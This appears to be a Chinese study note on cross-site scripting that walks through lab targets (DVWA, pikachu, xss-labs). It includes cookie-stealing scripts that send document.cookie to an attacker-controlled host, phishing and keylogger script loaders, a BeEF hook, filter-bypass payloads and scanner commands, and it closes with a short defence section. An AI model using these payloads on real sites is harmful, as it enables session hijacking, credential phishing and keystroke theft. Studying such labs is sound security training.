3-XSS渗透与防御
1、HTTP协议回顾
XSS又名跨站脚本攻击
web页面登陆页面,往往有一个“记住密码”功能 ---> Cookie
1.1 HTTP流程



1.2 HTTP特点:
- 请求应答模式
 - 灵活可拓展
 - 可靠传输
 - 无状态stateless -- 客户端每次请求都是完全独立的,没有任何联系
 
2、客户端的Cookie
显示:每个请求都是独立的
需求:保持会话
目的:为了解决stateless无状态的影响
1、第一次访问,浏览器会保存服务器下发的Cookie
2、客户端在本机将cookie保存到内存或磁盘下面
3、后面每次请求都带上cookie
2.1 cookie内容
key/value 格式,例如:
name = wuya
id = 99
islogin = 1
一般包含:内容value、起作用的路径、起作用的域名、到期时间
(需要计算过期时间的Cookie会保存在磁盘。没有过期时间的,属于临时cookie,则是保存在内存)
2.2 cookie特点
- 明文
 - 可修改
 - 数量和大小受限(视浏览器而定)
 
Cookie的用途
- 记住登陆状态
 - 跟踪用户行为(广告推送等等)
 
3、服务器的Session
转换思路:将一大串保存在服务端,且只通过COOKIE字段下发一个字段SESSID
减少浏览器客户端的负担,只需要看客户端的cookie中是否有已登录的SessionID
3.1 session流程
客户端 --> 第一次访问:开启会话,将登陆信息保存到session --> 服务端
客户端 <-- 如选择记住密码,则将sessionID写入cookie并下发 <-- 服务端
客户端 --> 第二次访问,从session中取出信息,判断登陆状态 --> 服务端
3.2 cookie和session的区别

4、JavaScript操作Cookie
想法:可不可以复制别的浏览器cookie中的sessionid?从而达到直接登录?
答案是可行的!
问题:如何远程获取到其他用户的cookie?
4.1 JavaScript语法
获取:document.coookie;
设置:document.cookie = "username=wuya";
修改:创建一个cookie覆盖
删除:将cookie过期时间,设置为如1999年
想法:将脚本注入到网页服务器中,并运行
5、脚本注入网页-XSS
前提:输入框存在提交,并且会解析运行JavaScript的脚本
POST请求如:<script>alert(1)</script>
GET 请求如:?url=javascript:alert(/wuya/)
5.1 XSS:Cross Site Script
恶意攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问页面时,代码就会执行,这个时候就达到了攻击的目的。
JavaScript、Java、VBScript、ActiveX、Flash
反射型、存储型、DOM型(通过HTML的结构实现)
5.2 反射型XSS

5.3 存储型XSS
如注册、发评论等等

6、获取Cookie发送邮件实战
6.1 首先写一个mail.js文件
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/xss/sendmail.php?mycookie=' + encodeURIComponent(document.cookie);
6.2 存储型注入
在注册时输入:<script = \'http://localhost/xss/mail.js'></script>
6.3 执行脚本
当有人点击或访问,就会执行mail.js,其中sendmail.php会将当前访问该路径的用户的cookie,通过参数?mycookie转发邮件到黑客的qq邮箱中
7、DVWA靶场XSS
默认账号:admin
默认密码:password
7.1 XSS(Reflected)
7.1.1 Security = Low
payload = <script>alert('xxx')</script>
7.1.2 Security = Medium
做了一个str_replace()将script过滤成' '空
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
绕过:大小写、双写
payload = <Script>alert('xxx')</script>
payload = <sc<script>ript>alert(123456)</script>
7.1.3 Security = High
运用了正则表达式
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
绕过:运用其他标签
payload = <删除img src=" " onerror="alert('XSS')">
7.1.4 Security = Impossible
运了htmlspecialchars()函数
将特殊字符转换为HTML实体符号,相当于被编码
7.2 XSS(Stored)
7.2.1 Security = Low
发现Name字段存在长度限制,但是Message字段没有
payload = <script>alert(123456)</script>
发现一旦刷新,每访问一次,就会攻击一次,出现弹窗
7.2.2 Security = Medium
可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤<script>字符串,仍然存在存储型的XSS。
绕过:抓包改name参数为<sc<script>ript>alert(/xss/)</script>
也可以审查元素,修改长度限制
7.2.3 Security = High
7.2.4 Security = Impossible
8、XSS后台平台搭建(pikachu靶场xss后台为例)
8.1 搭建
在本机搭建pikachu(修改inc配置文件)
在Win7虚拟机搭建pikachu XSS后台
相当于:用本机的XSS漏洞环境,将cookie传到虚拟机Win7的XSS后台数据库中
8.2 Payload
8.2.1 反射型xss(get):<script>alert("xu")</script>
在Win7的Cookie.php中修改重定向地址,让别人误以为只是刷新了一下
<script>document.location='http://虚拟机ip/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
http://192.168.125.131:8080/
8.2.2 反射型xss(post)
在修改Win7中post.html
攻击方式:将带毒的页面(Win7中的post.html)发给别人,一旦点击会访问有xss漏洞的本机地址,然后自动输入payload被拿cookie

最后访问带毒地址url:http://192.168.125.131:8080/pikachu/pkxss/xcookie/post.html
8.2.3 存储型xss(钓鱼xfish)
修改fish.php,弹出迷惑性的登陆界面
<script src="http://192.168.125.131:8080/pikachu/pkxss/xfish/fish.php"></script>
用法:将JS语句存储在留言板中,当有人访问留言板时候,就会弹窗输密码
8.2.4 存储型xss(获取键盘记录)
修改rk.js
<script src="http://192.168.125.131:8080/pikachu/pkxss/rkeypress/rk.js"></script>
用法:将JS语句存储在留言板中,当有人访问,可以看到其键盘输入
8.3 其他XSS平台
https://github.com/78778443/xssplatform
Kali:beef-xss(密码/etc/beef-xss/config.yaml)
在反射型XSS处,执行 <script src="http://Kali的ip:3000/hook.js"></script>
发现在beef上线,可以在command处对受害机器进行操作
9、XSS检查和利用
9.1 测试XSS的payload
9.1.1XSSER (https://github.com/epsylon/xsser)(https://xsser.03c8.net)
实例:
由于DVWA需要登录,所以需要给他一个cookei
xsser -u "http://ip地址/dvwa/vulnerabilities/" -g "/xss_r/?name=XSS" --cookie="security=low; PHPSESSID=do462brkn1gnerpusf1f5aqd30; BEEFHOOK=d83iUtVEPA40EzTeQuAGilAcNsvuKbYCssJDO2qhLkKyPNK37CIIV5NZpvaINYqVPT4erug7xcrfqPCh" -s -v --reverse-check
9.1.2 XSSSTRIKE(https://github.com/s0md3v/XSStrike)
任意切换python版本!
添加python可选项:
update-alternatives --install /usr/bin/python python /usr/bin/python2.7 2 # 添加Python2可选项,优先级为2,优先级高的数字大,此处设置python2优先级高于python3
然后输入update-alternatives --config python
删除python可选项
update-alternatives --remove python /usr/bin/python2.7
get类型命令:python xsstrike.py -u 'http://xxx/xxx.php?message=123&subbmit=submit'
post类型命令:python xsstrike.py -u "xxx/xx.php" --data 'name=1'
10、XSS防御方法
入口:
识别:正则,处理:替换
出口:
echo "",document.write();htmlspecialchars
WAF
11、xss-labs闯关游戏
思路:使用万能payload看看做了什么处理!再查看页面源码!
<sCr<scrscRiptipt>ipt>OonN'\"<>
&apos是单引号
第一关
payload = ?name=<script>alert("xss")</script>
第二关
查看页面代码,发现没有任何过滤,且输入在value中需要闭合
payload = "> <script>alert("xss")</script>
第三关
过滤了尖括号,所以闭合+触发onmouseover,插入脚本当鼠标滑过输入框触发
payload = ' onmouseover='alert(/xss/)
第四关
<script " ' Oonn>
发现过滤了尖括号
payload = " onmouseover="alert(1)
第五关
过滤替换了script和on关键字,使用伪协议生成带alert的超链接
payload = "><a href = "javascript:alert(/xss/)">click</a>
第六关
过滤替换了script和on=以及href关键字,使用伪协议+大小写hERf绕过
payload = "><a hREf = "javascript:alert(/xss/)">click</a>
第七关
script标签被过滤,闭合+双写绕过
payload = "> <SCRscriptIPT>alert(1)</SCRscriptIPT>
第八关
提供了友情链接,使用伪协议javascript:alert(/xss/),发现script被替换
对内容进行一个Unicode编码

payload = javascript:alert(/xss/)
第九关
你的链接不合法!
payload = javascript:alert('http://www.baidu.com')
第十关
GET类型请求,尖括号不行,但是发现三个隐藏的input标签,闭合触发事件
然后因为标签是hidden的,导致无法触发标签的事件监听,所以需要覆盖掉标签的hidden属性,或者使用//注释掉
payload = ?t_sort=click" type="button" onclick="alert(/xss/)
payload = ?t_sort=" onmouseover="alert(1)" type=""//
第十一关
通过BP抓包,修改Referer值,发现会传递到代码中

payload = click" type="button" onclick="alert(1)
portswigger
<custom-tag onmouseover='alert("xss")'>
"><body onresize=alert(1)>
3-XSS渗透与防御的更多相关文章
- 前端安全(XSS、CSRF防御)
		
一.网络安全 OWASP:开放式Web应用程序安全项目(OWASP,Open Web Application Security Project) OWASP是一个开源的 ...
 - web安全-XSS攻击及防御
		
XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...
 - 《前端之路》 之  前端 安全 XSS 原理以及防御手段
		
什么是 XSS 一.XSS 什么是 XSS XSS,即 Cross Site Script , 翻译过来就是 跨站脚本攻击:为了和 css 有所区分,因而在安全领域被称为 XSS. 什么是 XSS 攻 ...
 - XSS(四)攻击防御
		
XSS Filter XSS Filter的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果 XSS Filter作为防御跨站攻击的主要手段之一,已经广泛应用在各类Web系统之中, ...
 - XSS攻击的防御
		
XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...
 - Web 攻击之 XSS 攻击及防御策略
		
XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...
 - 风炫安全WEB安全学习第二十六节课  XSS常见绕过防御技巧
		
风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说
 - web渗透—xss攻击如何防御
		
1.基于特征的防御 XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同.这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS ...
 - XSS理解与防御
		
一.说明 我说我不理解为什么别人做得出来我做不出来,比如这里要说的XSS我觉得很多人就不了解其定义和原理的,在不了解定义和原理的背景下他们可以拿站,这让人怎么理解呢.那时我最怕两个问题,第一个是题目做 ...
 - 前端XSS攻击和防御
		
xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...
 
随机推荐
- 即构音视频 Express Flutter SDK 全面支持空安全
			
Flutter 是一套移动 UI 框架,可以快速在 iOS.Android 上构建高质量的原生用户界面.作为其官方语言 Dart 是类型安全的,当开发者获取变量的时候,编译器可以保证变量的类型,但类型 ...
 - 反问面试官3个ThreadLocal的问题
			
ThreadLocal,一个Java人面试绕不开的话题,我也很奇怪为什么那些面试官很喜欢问这个,也不知道他们自己有没有搞清楚. 接下来,我想先说说ThreadLocal的用法和使用场景,然后反问面试官 ...
 - C# WebSocket Servers -- Fleck、SuperSocket、TouchSocke
			
最近在维护老项目,感觉内存一直都有问题,定位到问题是WebSocketServer的问题,了解了 Fleck.SuperSocket.TouchSocke 等开源项目,这里记录一下. .net5..n ...
 - SXYZ-12天集训
			
Day 1(6月25日) 早上四点多钟起床做七点到九点四十的飞机到杭州萧山(空客330) 然后坐一小时车到绍兴一中对面的酒店. 中午曾老师请我们在酒店隔壁吃了一桌家常菜(味道可以),以此庆祝曾老师52 ...
 - 进程管理中的active_mm是做什么的?
			
在Linux内核中,进程管理涉及到许多复杂的数据结构和机制,其中active_mm是与内存管理相关的一个关键概念.理解active_mm需要先了解与之相关的一些基本内核结构和概念. 基本概念 mm_s ...
 - PostgreSQL 15 新特性解读 | 墨天轮优质文章合集
			
5月19日,PostgreSQL 全球开发组宣布 PostgreSQL 15 的第一个 beta 版本,这一新版本在开发者体验.性能表现等方面都有提升.为了帮助大家更快速了解到PostgreSQL 1 ...
 - 墨天轮高分技术文档分享——Oracle升级迁移篇(共96个)
			
朋友们好久不见,在上期<墨天轮最受欢迎的技术文档-SQL优化篇>的留言中,有许多朋友表示想看数据库升级迁移相关的内容,经过搜集整理,这就为大家呈上!原文送墨值中,欢迎大家参与~ 数据库升级 ...
 - P3571 [POI2014] SUP-Supercomputer 题解
			
P3571「POI2014」SUP-Supercomputer 题解 一道 "较" 水的黑题 (可一开始苦思冥想还是不会). 本蒟蒻的第一篇黑题题解,求赞. 题意简化 给定一棵 \ ...
 - SpringBoot学习 _02 _配置单数据源(1)
			
SpringBoot学习 _02 _配置单数据源(1) 1.通过IDEA创建SpringBoot项目 直接到选择依赖这一步,选择如图所示的 五个依赖即可 2.配置文件的编写 此处说明一下,这个数据库连 ...
 - Rest-Assured 学习笔记
			
Rest-Assured 学习笔记 body { font-family: Arial, sans-serif } .container { } h1, h2, h3 { color: rgba(51 ...